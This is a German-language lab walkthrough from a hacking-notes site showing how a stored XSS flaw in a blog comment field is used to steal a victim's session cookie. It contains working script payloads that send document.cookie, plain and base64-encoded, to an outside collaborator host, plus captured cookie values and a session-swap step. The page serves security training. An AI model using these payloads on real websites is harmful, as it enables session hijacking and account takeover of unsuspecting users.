> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md).

# Cookie-Diebstahl via XSS

### Ausnutzen von Cross-Site-Scripting zum Stehlen von Cookies

Im Labor gibt es eine gespeicherte XSS-Schwachstelle in der Blog-Kommentarfunktion. Ein Opferbenutzer liest die Kommentare nach der Veröffentlichung. Das Lernziel ist zu verstehen, wie eine clientseitige Injektion zur Exfiltration von Sitzungsinformationen führen kann und wie man sich davor schützt.

Das Kommentarfeld wendet für Benutzereingaben keine ausreichende Kodierung oder Escape-Zeichen an, sodass der Browser Inhalte injizieren kann, wenn ein anderer Benutzer die Seite anzeigt.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/0de7926d166998812f07f3ebc12513afb8d7d2fc" alt="" width="527"><figcaption></figcaption></figure>

Wir verwenden `fetch` um Anfragen zu senden:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

Die Anfrage erreicht die lauschende Infrastruktur.

<figure><img src="/files/63d8295bf8a4001a60aebdbf4379373a7c8c07c2" alt=""><figcaption></figcaption></figure>

Wir senden das Session-Cookie:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/0ece29012c2105e56b8f902fa60343d40280c084" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Wir ersetzen dann das Session-Cookie.

<figure><img src="/files/7fb691fb2b5e258c0e10e20c40388c4b3c97d132" alt=""><figcaption></figcaption></figure>

Sie können den Inhalt vor dem Senden auch in Base64 kodieren:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

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```
GET https://hacking-notes.jord4n.pro/de/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
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